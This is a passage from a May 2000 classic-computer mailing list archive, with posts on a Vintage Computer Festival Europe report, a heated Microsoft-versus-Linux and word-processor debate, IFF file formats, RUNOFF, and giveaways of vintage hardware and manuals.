VAX 11/850 setup > and running, an Atari 1450XLD (only a few of these exist), some rare > East German microcomputers, and even an Inca Quipu! And several CP/M systems (ABC 80, BigBoard, ...) P2000 portable Philips Tek, Several Calculators (including a Russian, and a punch card operated) Sharp MZ80K, operating an egg cutting machine A Whole Series of Macs PETs (Original, 2001, 4016, 8032, 8296SK, B500) Bunch of Como Homecomputers (C16, VC20, VIC20, C64, C128, C128D, C128D Portable, C116, SX64) (Almost) All 8-Bit Ataries ever made (Gamesystem was missing) A ZX81 Superdisplay (ZX81 whit almost everything and a Harddisk :) Several other Homecomputer (Amiga, CPC, etc.) A Huge Pile of DEC Stuff, including a VAX 11/750 Two NS 32xxx based systems And of course the MUNIAC. > After the event was over, Hans, Philip and myself went on a three day > whirlwind tour around Germany. Three days couped up in a car with a > wacky Bavarian is more torture than anyone should ever be subjected to, > but Philip and I managed to make it through the ordeal without too many > psychological scars (I enter long term counseling tomorrow). Of course > you may get slightly differing opinions from Philip but pay him no mind ;) Errr... I'd use some different words, but at the moment my mental health crew allows me not to use any of the words Sallam told me... :) > Thanks to everyone who helped with VCF 1.0e, and of course extra- > special thanks go to Hans Franke for making it a reality. I also thank > him for teaching me some particularly juicy German. As my reportoire of > languages grows I will soon be able to insult and offend people the world > over! (Again, my doctors tell me not to responde :)) Anyway, it has been a lot of fun (I'm still searching for the Sundays winner of the give away), and Thank You to all of you. > Pictures of VCF 1.0e will be posted to the VCF website soon. Stay > tuned for details. > We'll see you all at the next VCF! For shure - and eVCF 2.0 will be held on April 28th & 29th, 2001, again here in Munich. The VCF virus will spread out onto the world. Gruss H. -- VCF Europa am 29./30. April 2000 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From cem14 at cornell.edu Sun May 7 22:11:17 2000 From: cem14 at cornell.edu (Carlos Murillo) Date: Sun Feb 27 18:51:35 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005080046.SAA31983@calico.litterbox.com> References: <00f201bfb882$d5c6d460$04a0fea9@hal-9000-2> Message-ID: <3.0.2.32.20000507231117.0125e998@postoffice3.mail.cornell.edu> At 06:46 PM 5/7/00 -0600, you wrote: >Modern WordPerfect is actually quite nice, and to my knowledge it's the only >big name word processor that runs on Linux. The most professional, cross-platform, free procedural markup system (that's what pros call a true "word processor") is still \TeX. And it runs in almost every sufficiently-capable system that I know of. Not long ago, most academic book publishers in the general area of electrical engineering actually advocated the use of TeX by authors and editors. Integration of the manuscript was a joyride, and the result were always professional-looking. I enjoyed writing chapters or individual papers for several such publication efforts in the last ten years. Nowadays, publishers also provide Word macros in addition to the usual TeX or LaTeX style files. The problem is, when compiling a volume, you better have all of the contributing authors submit their chapters using the same platform, or the integration becomes a nightmare. I am going through exactly such misery, because other fellow authors (and the editors) chose Word. But I would never write my cherished equations using Word's equation editor; they would look like crap. And all the fine details regarding spacing and professional markup that distinguish typesetting from simple, office-quality word processing are still absent from Word. In order to blend my chapter into this volume, I've had to hack (in the sense of "chop") the carefully written style files of some guru at TeXnology Inc. While I have learned a lot about TeX internals in the process, the fact that I am doing this in order to make TeX's output look like Word's has caused me unbearable pain. What the world has come to thanks to MS. Somebody got it right earlier in the thread. Worse is better. Carlos. From pechter at pechter.dyndns.org Mon May 8 07:40:06 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: <029801bfb88e$9fe958c0$7464c0d0@ajp166> from allisonp at "May 7, 2000 09:40:22 pm" Message-ID: <200005081240.IAA10988@bg-tc-ppp792.monmouth.com> > Now the problem is that w9x et al has become pervasive any new OS > one might introduce has to work and play well in that space, thats a PITA! > Linux is ok, I've got Caldara OpenV2.3 and it's not faster than W95 and > it uses just as much space, it aquired all the bloat win has. the advantage > is it's got security. The down side is now you have a user that can't use > word documents and excel spread sheets without conversion. Sharing > files is easy if you fire up samba and try to explain "mounting" so someone > that can nearly say CPU. Thats the problem with better. > > Allison > If Caldera 2.3 isn't faster than W95 it's got to be misconfigured. Boy, it's a lot faster than W98 on the same hardware at work and much more reliable. The eDesktop2.4 (I cheated and downloaded the CD the other day because the update from 2.3 wasn't on the website at a discount yet) looks pretty quick... I do think Mandrake 7.0 seems to have just about every option and tool out for Linux on one CD. I love downloading and burning these ISO images. Cheap, quick (while at work, anyway), easy. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Mon May 8 07:42:32 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:35 2005 Subject: The Shell Game In-Reply-To: <200005080038.RAA17910@oa.ptloma.edu> from Cameron Kaiser at "May 7, 2000 05:38:39 pm" Message-ID: <200005081242.IAA11028@bg-tc-ppp826.monmouth.com> > Well, marginally related to classic computing, I put my in-progress > directory of dialup shell providers on the Net at > > http://www.armory.com/~spectre/shell/ > > I'm still acquiring providers. Let me know who you use, if any. I'm > hoping to use this as a resource for people with other computers > who still want to use them for at least terminal access. > > -- > ----------------------------- personal page: http://www.armory.com/~spectre/ -- > Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu > -- Hidden DOS secret: add BUGS=3DOFF to your CONFIG.SYS. ---------------------- one of the best in the NYC and NJ area is my ISP... Check http://www.monmouth.com (Monmouth Internet) still does shell on their BSDi boxes. I believe http:/www.exit109.com (Atlantic Internet) still does shell on their FreeBSD servers. -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From allisonp at world.std.com Mon May 8 08:04:13 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:35 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005080427.AAA22857@armigeron.com> Message-ID: > And I've run Win95 for a year with no problems. It wasn't until Microsoft > Office was installed on the machine did it lock up and I wasted two days > trying to reinstall Win95, from scratch, before giving up and going to Linux > so I could continue my job. Humm, suggests somthing was wrong or you were trying to use the OEM install. > Hardware didn't change. Just the addition of Microsoft Office. That pig... > Now, how much damage did the ILOVEYOU virus do? How much will it cost to > fix the damage that ILOVEYOU virus did? nothing. We were properly prepared and the key users are educated. We did recive copies but they were deleted before they could be activated. We assume there are worms/virus/trogans out ther and they can hurt us so we are prepared. > Windows that precludes such from being done in other systems, other than a > lack of economic insentive and the fear of bring the wrath of Microsoft down Gee I thought that it was already being done with star office. > > for Windows is to be mandated by the courts to be made available to anyone > > who wishes to write applications for Windows, MS is correct in demanding > > that the code be released only to companies who, including all their > > employees as individuals, be barred for a period of, say, ten years, from > > participating in the production of any operating system which might be > > used as a competitor to Microsoft's OS products, including the drivers, > > utilities, or ancillary programs, e.g. a browser. > > Why? Such draconian measures would be such that you might not get very > many companies (or programmers) willing to even consider such a deal. Yes it would eb unreasonable. Most NDA and Non competative agreements I've seen never exceeded 2 years, FYI. > Personally, I feel that the two worst things to happen to our industry > have been Unix and Microsoft. I won't go into why I think Unix is bad, but > Microsoft has definitely kept the industry back technically, if only with > entrenching the poor design of the IBM PC as a standard for nearly 20 years. > Hell, if this sets the industry back 20 years that'll be the best thing to > happen! Imagine, decent hardware! Software that actually works! Less > slavish reliance on computers! That's bad? Well I agree. the PC is generally poor hardware. Good hardware has always existed, and it was never cheap. > Another bad aspect of Microsoft is the proliferation of file formats. > Microsoft Word 6 format is imcompatible with Microsoft Word 95 format is > imcompatible with Microsoft Word 98 format is imcompatible with Microsoft > Word 2000 format. Sure Microsoft MAY make a utility available for upgrading > the document but they don't make it easy and heaven forbid you find a cache > of documents seven years old in the backups that is in Word 6 format. Yes, this is a major problem and while they claim to have support for conversions they don't work well or in the case of WP->Word plain don't work. My solution was and still is Runoff, it provides what I need for test files and it runs on everything I have (NS* DOS, CP/M-80, DOS, WIN, VMS, RT11, RSTS, unix, linix). Allison From allisonp at world.std.com Mon May 8 08:16:40 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: <200005081240.IAA10988@bg-tc-ppp792.monmouth.com> Message-ID: > If Caldera 2.3 isn't faster than W95 it's got to be misconfigured. > Boy, it's a lot faster than W98 on the same hardware at work and > much more reliable. Used the standard images and ran it on 486dx66 with 20m ram. No faster than W95 (tuned) and about the same as WinNT4.0/workstation. The Xserver is the limiter as it's served not native graphics on the 486 it's noticeable. It seemed robust enough but faster... not really. I also don't care that the kernel fit on a 1.44mb disk (useful for LRP maybe) as the useful config has to have a lot more around it for a user workstation. When you reach that point it's big, like needing a 1gb disk big. > the update from 2.3 wasn't on the website at a discount yet) looks > pretty quick... I do think Mandrake 7.0 seems to have just about every > option and tool out for Linux on one CD. Therein lies the probelm with linux: Slackware, mandrake, redhat, cladara and howmany more all different? Reminds me of CPM2.2, all teh same cpm but modem programs were not always portable and media was often different. Same but, not really. Allison From edick at idcomm.com Mon May 8 08:46:29 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:35 2005 Subject: I wrote 'Nuke Redmond' References: <200005072345.TAA09502@bg-tc-ppp36.monmouth.com> Message-ID: <001501bfb8f3$d2641000$0400c0a8@winbook> ----- Original Message ----- From: Bill Pechter To: Sent: Sunday, May 07, 2000 5:45 PM Subject: Re: I wrote 'Nuke Redmond' > > I can't leave this one alone either. > > > > Dick > > > > Actually, you can purchase Office2000 and WordPerfect 2000 and Lotus > Smartsuite Millenium -- the latter two under $120... Office is > considerably more retail -- unless you corporate license under discount. > > Actually grey market versions of the later are under $25 each. > > I know, I bought both to compare them with the Office used at work and > forced on me. I liked them (used SmartSuite96 at IBM for a while) and > WordPerfect is now purchased and running on my wife's Linux box. > I must be out of touch these days, since I'm not on the market for new OA software. Are you sure those "grey-market" versions of the software are not counterfeit? It's hard to tell the difference, except, perhaps, by the price. > > I'm actually a WordStar 6 kind of guy, if I'm not using FrameMaker though. > I gave up on Wordstar with v5.5. (??) which I got back in '90 or so. Back then, the practice was to dog MS as compared with the Mac. Win 3.0 was already floating around, though I didn't have it myself. I bought into Windows quite late, (late '91) though I didn't dislike it then. There were problems but mainly because the software utilities, e.g. Smartdrv, didn't work correctly in that incarnation. Though I'd been a faithful Wordstar user since '79, I liked Word for Windows v2.0 quite well. That came out about concurrently with Win3.1. > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? > From edick at idcomm.com Mon May 8 08:54:23 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:35 2005 Subject: I wrote 'Nuke Redmond' References: <200005072345.TAA09502@bg-tc-ppp36.monmouth.com> <39160743.B34AD135@mcmanis.com> Message-ID: <001901bfb8f4$ed263b60$0400c0a8@winbook> WP v5.1 was widely accepted as the "cat's meow" among DOS-based word processing software. WIth the release of 5.2, one could see the begining of the end, however, since Lotus and MS had both put considerably better suites out there. Since Lotus could do it and WP couldn't there was no reason to believe any foulplay on MS' part was at work. When Windows 3.1 came out I don't think MSOffice had been released yet. It was a VERY popular product, since it had Excel, Word6, Access2, and Powerpoint (the famous BS-Generator) incorporated in it. Works was not up to snuff yet, though it was commonly bundled with Windows in OEM machines. The sense I got was that WORKS was intended for home use and was donated gratis to LOTS of different school systems in an effort to entice them to give up the Mac, which was markedly easier to teach and for teachers to use. Apple even ran a program here in the Denver area that involved selling Mac's below cost to teachers and administrators. It didn't work over the long run, though I did see a number of PC's, typically 2 or 3 per school which were sitting unused except for a comm program to handle comms with the main admin building downtown. It really pointed up how uninformed teachers and administrators were about these two competing systems. Dick ----- Original Message ----- From: Chuck McManis To: Sent: Sunday, May 07, 2000 6:16 PM Subject: Re: I wrote 'Nuke Redmond' > Has anyone mentioned WordPerfect. You know the Word processor that had > over 90% of the market until Microsoft changed their OS licensing terms > such that their OEMs had to bundle either Office (or later Works) with > every copy of Windows they sold. > > --Chuck > From John.Allain at donnelley.infousa.com Mon May 8 09:03:50 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:51:35 2005 Subject: Applicon DEC PDP machine In-Reply-To: Message-ID: <000401bfb8f6$3ce96ea0$0e0301ac@dba00802.databaseamerica.com> Hi, I may have a deal/rescue going for an Applicon AGS 8xx system on the east coast. These babies are rare but I may not hold on due to the overall size of the system. If anyone out there has any want or need for the abovementioned system I may be able to transfer it to you for essentiually no cost. Note: Contains: PDP11, Tape Drive, disk drive, 3D displays. John A. From edick at idcomm.com Mon May 8 09:05:52 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:35 2005 Subject: I wrote 'Nuke Redmond' References: <200005080427.AAA22857@armigeron.com> Message-ID: <002f01bfb8f6$85864ca0$0400c0a8@winbook> There were indeed some "problems" with the first Office for '95 suite on top of the "upgrade" version of the first release of '95. These were fixed with a download, however. How the activity of a few morons who think cyber-vandalism is funny ties into this thread, I don't know, but I'd certainly vote to make a spectacle of all virus-progenitors by dipping them, slowly, and feet first, into a hot solder pot during halftime at the superbowl. I think people who send cute little pictures, and unsolicited jokes, etc, ought to be charged for their transmitted bandwidth by their ISP rather than getting a flat rate. If bandwidth continues to be wasted like that, it will eventually cost us all by the bit. People who open email from sources they don't recognize are running a risk similar to unprotected sex with unknown people. People who open attachments to such email get what they deserve. Dick ----- Original Message ----- From: Sean 'Captain Napalm' Conner To: Sent: Sunday, May 07, 2000 10:27 PM Subject: Re: I wrote 'Nuke Redmond' > > I'm replying to several messages, all by Richard Erlacher, here in one > message: > > > I'm often puzzled by the complaints about "crashes" under Win9x and NT. > > My notebook, running Win95, hasn't crashed, although it's been in almost > > constant use since early '97 when I bought it. Now, the machines into > > which I routinely stick cards that may or may not work, along with > > products that may or may not work, both hardware and software, . . . well, > > they have had other histories, but it's seldom Microsoft software that's > > to blame for that. > > And I've run Win95 for a year with no problems. It wasn't until Microsoft > Office was installed on the machine did it lock up and I wasted two days > trying to reinstall Win95, from scratch, before giving up and going to Linux > so I could continue my job. > > Hardware didn't change. Just the addition of Microsoft Office. > > > I've never bought a license for a DEC OS, but I doubt it cost under $100. > > There are Linux versions one can buy in ready-to-install form for under > > $100, but those will cost $1M, at least, at 50-cents-an-hour before > > they're working properly and that's only if you're a real *nix expert. > > What's more, NO *nix version offers the features that make the Win9x > > desirable for home computer use. There are lots of books out there for > > *nix users, but I've yet to see a "{insert vendor name here} Office for > > Dummies" book for LINUX, though I hear there is a "LINUX for Dummies" book > > out there. > > So I assume that the *only* use a home computer is used for is for office > suite software. Okay. > > Now, how much damage did the ILOVEYOU virus do? How much will it cost to > fix the damage that ILOVEYOU virus did? > > More to the point (not really using any office suite program) the major > attraction of an office suite is that the different applications can embed > files from each other into a single document, right? That you can take a > spreadsheet (or portion thereof) and embed it into a word processor > document. Am I correct in that? There's nothing inherent in the design of > Windows that precludes such from being done in other systems, other than a > lack of economic insentive and the fear of bring the wrath of Microsoft down > upon you and being crushed out of existance (aside: Cisco has as much, if > not more, control in the router industry as Microsoft in software yet aren't > nearly as hated as they make very good products and when they buy out a > company, they tend to actually use the technology they bought out. > Microsoft has a hit-or-miss reputation with software reliability and even > when they buy out a company they are equally likely to sink the technolgy as > they are to market it). > > > Many people think that lobotomizing MS would help the industry. I am not > > among them, however, because, at least for now, MS is the only > > organization capable of mustering the talent and resources to generate > > application software that pretty much functions as it should within the > > framework of this extremely complex OS. > > I doubt that. The free BSDs or Linux is a good counter example. And if > you wish to discount the operating system, there is Apache. And if you wish > to discount servers, the GIMP. While it isn't up to the functionality of > Photoshop it certainly does anything a home user would want it to do. > > Nature abhoors a vaccum and if Microsoft is gone, it will be filled in > rather quickly. Ding dong the witch is dead and all that. > > > Even if someone else could do it, which I seriously doubt, it's unlikely > > anyone can come up with an OS capable of competing against Windows, if the > > same tests are to be applied that have been used to determine MS' > > practices monopolistic or anticompetitive. > > I don't follow your logic here. Which tests are you referring to? > > Outside of marketing, there is no technical reason why a Windows-like (or > Mac-like) graphical user interface can't be built upon X Windows (the > primary graphic sub-system used on Unix workstations) and applications built > to that interface. Embedding documents into other documents isn't dependant > upon the underlying operating system---OLE, COM and DCOM are interface and > data exchange/understanding issues, not operating system dependant issues. > > > If the complete source code > > for Windows is to be mandated by the courts to be made available to anyone > > who wishes to write applications for Windows, MS is correct in demanding > > that the code be released only to companies who, including all their > > employees as individuals, be barred for a period of, say, ten years, from > > participating in the production of any operating system which might be > > used as a competitor to Microsoft's OS products, including the drivers, > > utilities, or ancillary programs, e.g. a browser. > > Why? Such draconian measures would be such that you might not get very > many companies (or programmers) willing to even consider such a deal. > > > If they're to "fix" this thing in a permanent way, then they will have to > > legislate a solution which would require that no person involved in the > > development of any major software product be permitted to communicate with > > anyone else, not his/her spouse, offspring, superiors or subordinates, > > except in permanently recorded written form for a period not less than > > five years beyond the end of the economic life of that product. I doubt > > that will happen. > > Again, why do you think this? > > > Well, we may get to see whether the courts come up with a prudent and > > reasonable solution. The obvious solution to break up MS won't help, but > > it will serve to octuple the cost of both software and hardware. It will > > set back the industry a decade as it tries to find a substitute for MS in > > a market where really only one OS and Office automation suite is going to > > be effective. If you don't see that through your haze of rage at > > Microsoft for doing something you weren't smart enough or diligent enough > > to do yourself, then perhaps you can come up with a potential successor OS > > to WIndows. Remember, though, that if MS simply closed its doors tomorrow, > > it wouldn't harm MS as much as it would harm the end user. > > Personally, I feel that the two worst things to happen to our industry > have been Unix and Microsoft. I won't go into why I think Unix is bad, but > Microsoft has definitely kept the industry back technically, if only with > entrenching the poor design of the IBM PC as a standard for nearly 20 years. > Hell, if this sets the industry back 20 years that'll be the best thing to > happen! Imagine, decent hardware! Software that actually works! Less > slavish reliance on computers! That's bad? > > Another bad aspect of Microsoft is the proliferation of file formats. > Microsoft Word 6 format is imcompatible with Microsoft Word 95 format is > imcompatible with Microsoft Word 98 format is imcompatible with Microsoft > Word 2000 format. Sure Microsoft MAY make a utility available for upgrading > the document but they don't make it easy and heaven forbid you find a cache > of documents seven years old in the backups that is in Word 6 format. > > It's not hard to create a file format that is extensible, nor forward and > backward compible. To bring this back to topic, I have extensive > documentation on IFF, initially designed and documented in 1986 for the > creation of files that can be extensible and forward/backward compatible, > such that a document created with a program now can be opened with a program > written 10 years ago and have it not crash (or at least be able to do > something with the file and not loose the extra information). > > And it certainly doesn't take one megabyte to store a single page of > information. That is just plain insane. > > > jpero@pop.cgocable.net > > > > > What I was thinking of is a untoucheable and invisible OS and for > > > managing data is data users created only. Applications and any little > > > utils, drivers and hardware all are seen as "modules". Drivers and > > > hardware go hand in hand and is therefore as hardware module set. For > > > applications and small utils, they would be software modules. > > > > That would be a WONDERFUL idea ... an OS distributed on ROM. I trust > > you'll start on that immediately. > > Again, to bring this back on topic, there have been plenty of operating > systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were > all contained in ROM, were/are ROMmable and extensible. And all are older > than 10 years old. Even MS-DOS came in ROM format for some computers > (although I'm not sure if it ran out of ROM, or was copied to RAM before > running). > > -spc (Have you actually USED anything other than Microsoft products?) > > > From jfoust at threedee.com Mon May 8 09:15:25 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:35 2005 Subject: IFF file format (was "I wrote 'Nuke Redmond'") In-Reply-To: <200005080427.AAA22857@armigeron.com> References: <002c01bfb84e$32d2d120$0400c0a8@winbook> Message-ID: <4.3.0.20000508090633.0189ca40@pc> At 12:27 AM 5/8/00 -0400, Sean 'Captain Napalm' Conner wrote: > It's not hard to create a file format that is extensible, nor forward and >backward compible. To bring this back to topic, I have extensive >documentation on IFF, initially designed and documented in 1986 for the >creation of files that can be extensible and forward/backward compatible, >such that a document created with a program now can be opened with a program >written 10 years ago and have it not crash (or at least be able to do >something with the file and not loose the extra information). Microsoft does use RIFF for some types of data. This is their own flavor of IFF with Intel endian. Most Amiga apps were quite lax about the use of IFF, simply mimicking other apps and using the same poor code examples as everyone else. They handled and emitted something similar to Deluxe Paint and that's about it. I'm not aware of any popular Amiga apps that actually used the more complicated catalog and list hunks, for example. Some bastardized IFF for their own twisted purposes. The more complete and accurate use of IFF I've seen was for the 3D format of Maya, a high-end 3D program that was born only a few years ago. However, they didn't bother to document all their hunks for the public. Tag and hunk-length is a very useful scheme for any program's file format. However, it's no panacea. It can even backfire and lead to those 1 meg files fo seemingly simple data, in the case of data structures with a great many varying leaves (each with their own hunk type) and a moderate number of branches. This poor case has led some to adopt schemes with 16-bit hunks and short lengths. - John From rivie at teraglobal.com Mon May 8 10:09:39 2000 From: rivie at teraglobal.com (Roger Ivie) Date: Sun Feb 27 18:51:35 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001301bfb84c$99c1bf60$0400c0a8@winbook> References: <200005070402.AAA24938@armigeron.com> <00c601bfb7eb$3f22b520$9d9fb2d1@Smith.earthlink.net> <001301bfb84c$99c1bf60$0400c0a8@winbook> Message-ID: >All the talk about the browser market is a red herring. Internet Explorer >was never a product separate from Windows. It was a part of the OS utility >package called PLUS!. In Win98, it was integrated into the OS becauseit was >the tool for viewing the help files, among other things. Sure, but why did Microsoft switch to HTML help? I did a document as a Microsoft help file once and I still wish HTML had some of the features of the Microsoft help system (pop-up windows for instance, which I found very handy for a glossary; just click on the word for which you want a definition and a little window pops up with the definition. The HTMl version of this was an icky ActiveX applet that I never got to work right). -- Roger Ivie rivie@teraglobal.com Not speaking for TeraGlobal Communications Corporation From rivie at teraglobal.com Mon May 8 10:38:58 2000 From: rivie at teraglobal.com (Roger Ivie) Date: Sun Feb 27 18:51:35 2005 Subject: Runoff on other platforms Re: I wrote 'Nuke Redmond' In-Reply-To: References: Message-ID: >My solution was and still is Runoff, it provides what I need for test >files and it runs on everything I have (NS* DOS, CP/M-80, DOS, WIN, VMS, >RT11, RSTS, unix, linix). Could you point me at CP/M and DOS Runoff, please? Any serious documents I do are done initially in RUNOFF and then converted to whatever they need to be delivered in. I've taken to using HTML for non-serious documents (primarily because I haven't found a decent CP/M emulator for MacOS, which is my primary desktop at the moment, so I can't run WordStar; but I have found a vi clone and a Mac version of Lynx. I can and do use WordStar under Win9x, but Microsoft decided to stick ~s in the short file name generated for long filenames, and WordStar 4 won't let me open files with a ~ in their names (haven't seriously looked for whatever table it's using to decide legal filename characters yet)), but I still use RUNOFF when I want anything decent. -- Roger Ivie TeraGlobal Communications Corporation 1750 North Research Park Way North Logan, UT 84341 Phone: (435)787-0555 Fax: (435)787-0516 From rivie at teraglobal.com Mon May 8 10:40:19 2000 From: rivie at teraglobal.com (Roger Ivie) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: References: Message-ID: >Therein lies the probelm with linux: > > Slackware, mandrake, redhat, cladara and howmany more all different? > >Reminds me of CPM2.2, all teh same cpm but modem programs were not always >portable and media was often different. Same but, not really. Hmmmmm. Monopoly bad, lack of monopoly not good? -- Roger Ivie rivie@teraglobal.com Not speaking for TeraGlobal Communications Corporation From kla at helios.augustana.edu Mon May 8 11:42:50 2000 From: kla at helios.augustana.edu (Kevin L. Anderson) Date: Sun Feb 27 18:51:35 2005 Subject: Goodbye, for now.... Message-ID: Classic Computer folks: I guess I cannot leave lists without saying goodbye, just like it would be improper to leave a party without thanking the host. So here is my goodbye (for now at least, because I cannot guarantee I won't be back :-). Much as I still lust after a functional PDP-8 system, my life is just too hectic right now (with two upcoming moves -- to Dubuque, Iowa in June and then to Bismarck, North Dakota in July -- and related unknown job searches...) to actively seek such a system. At the same time, I am envious of you folks for both having such classic systems (whether it be luck or by crook :-). But somehow my mind is too cluttered to keep straight all the permutations and modifications needed to keep the hardware and software booting and running. (I'm having a hard enough time keeping my older radios and my amateur radio equipment going at the moment...) Yet I have learned a bunch from you guys in the short time (half year or so) that I have followed this list. And much as I have opinions as well about Microsoft, viruses, prefered OS, etc., somehow it is not the same discussing them over a mailing list. I'd match rather do it face-to-face, while preferably seated in a pleasant pub with a good pint o' ale or red lager in hand . So, see you around the next bend....take care. Cheers/73. Kevin Anderson (ham radio folks: listen for me on 10-40 meters -- KB9IUA/mobile, soon to be K9IUA I hope through the FCC buy-a-call program -- both CW and SSB. I'll be handing out ND counties for the county hunters.) * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Kevin L. Anderson Ph.D., Geography Department, Augustana College Rock Island, Illinois 61201-2296, USA phone: (309) 794-7325 e-mail: kla@helios.augustana.edu -or- gganderson@augustana.edu * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Opinions expressed here are my own and do not represent the administration of Augustana College. From pechter at pechter.dyndns.org Mon May 8 12:17:53 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: from "allisonp@world.std.com" at "May 8, 2000 09:16:40 am" Message-ID: <200005081717.NAA11404@bg-tc-ppp826.monmouth.com> > > If Caldera 2.3 isn't faster than W95 it's got to be misconfigured. > > Boy, it's a lot faster than W98 on the same hardware at work and > > much more reliable. > > Used the standard images and ran it on 486dx66 with 20m ram. No faster > than W95 (tuned) and about the same as WinNT4.0/workstation. The Xserver > is the limiter as it's served not native graphics on the 486 it's > noticeable. It seemed robust enough but faster... not really. How much swap? I ran on an AMD 5x86/133 with 32mb and it seemed to scream compared with W95A. > > I also don't care that the kernel fit on a 1.44mb disk (useful for LRP > maybe) as the useful config has to have a lot more around it for a user > workstation. When you reach that point it's big, like needing a 1gb disk > big. I've had linux working pretty well on an old 340mb IDE -- but that's pretty much my personal minimum these days. I can still get almost everything in an 850. I slipped a minimum development Linux/X11 in about 540mb. This included the development tools and libraries and some X for browsing and stuff. Amazing how large some of the Emacs stuff is 8-)... I'm a vi type these days (I'd prefer EDT or WordStar). > > > the update from 2.3 wasn't on the website at a discount yet) looks > > pretty quick... I do think Mandrake 7.0 seems to have just about every > > option and tool out for Linux on one CD. > > Therein lies the probelm with linux: > > Slackware, mandrake, redhat, cladara and howmany more all different? Linux isn't really an OS release. That's why I prefer *BSD which are OS releases rather than this kernel with that addon toolset with those other apps. I find that it's not too hard to mix and match most apps with any Linux version. One DUMB setup script file edit makes WordPerfect office play nice with Caldera's 2.x. > > Reminds me of CPM2.2, all teh same cpm but modem programs were not always > portable and media was often different. Same but, not really. > > Allison > Yup... of course the IOBYTE version of Kermit worked with the VT180 in S-L-O-W fashion... the customized non-generic version was much nicer. Bill > > > -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From Hans.Franke at mch20.sbs.de Mon May 8 14:36:28 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:51:35 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001f01bfb780$1aac0040$5d01a8c0@p2350> Message-ID: <200005081737.e48HbJ906547@mail2.siemens.de> From: "emanuel stiebler" > From: John Wilson > > ... but for many of the rest of us, M$ > > products are designed to solve problems we don't have, and totally fail > > to address the problems we *do* have. It's designed for the drooling > > masses *only*, it's absolutely not good for normal utility use by nerds. > > And even where there's overlap, the design decisions tend to be poor and > > the implementation even worse. > BIG LOUD APPLAUSE ! Just one thing to add: I run 98 on my latest machine (K7 500), and it's only purpose is to offer a gameing platform - and that's exactly what I get. A Computer to run 99% of all game stuff available. Of course I apreciate all efforts to run or convert some stuff to other OSes (Linux, etc. pp.), just for me as a user of this particular machine Win98 is the only solution woth to be considered. Ther's a whole lot of shit in there, but as long as it does what I want it's acceptable. Servus Hans -- VCF Europa am 29./30. April 2000 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From wilson at dbit.dbit.com Mon May 8 12:55:59 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: ; from allisonp@world.std.com on Mon, May 08, 2000 at 09:16:40AM -0400 References: <200005081240.IAA10988@bg-tc-ppp792.monmouth.com> Message-ID: <20000508135559.B6127@dbit.dbit.com> On Mon, May 08, 2000 at 09:16:40AM -0400, allisonp@world.std.com wrote: > I also don't care that the kernel fit on a 1.44mb disk (useful for LRP > maybe) as the useful config has to have a lot more around it for a user > workstation. When you reach that point it's big, like needing a 1gb disk > big. Boy things have changed. When I first got into Linux, I ran it on a 40 MB MFM drive and had lots of space to spare. Of course that was no TCP/IP and certainly no GUI crap, and it didn't even have vi. But it might be a fun exercise to put together a similarly minimal config from the latest sources, it would probably still fit in a couple of cylinders of a modern disk drive. Certainly when Alpha Linux started out, a lot of people were running it from Zip drives on their Nonames. > Therein lies the probelm with linux: > > Slackware, mandrake, redhat, cladara and howmany more all different? Those are just different distributions, they all generally use the standard kernels, it's mainly the layered crap and startup scripts that are different and most of the differences are cosmetic. It's not at all hard to build executables that will work fine on any of them, just don't hard-code all your path names, but the system calls will work fine. John Wilson D Bit From xds_sigma7 at hotmail.com Mon May 8 12:57:43 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:35 2005 Subject: Lots o' stuff that I don't need, it's free too Message-ID: <20000508175743.67682.qmail@hotmail.com> Hi all, In an effort to make room for other manuals, etc. I have the following extras/stuff I don't want available for the taking. Trades would be nice but don't feel obligated.. ;p Clinch/Peters/Small/Summerfield "Tailoring RT-11" Data General Corp. Nova Minicomputers Instruction Reference Card (x2) Dataram Corp. P03 LSI-11 Parity Controller Product Specification DEC Installing and Using the VT320 DEC playing cards, still in 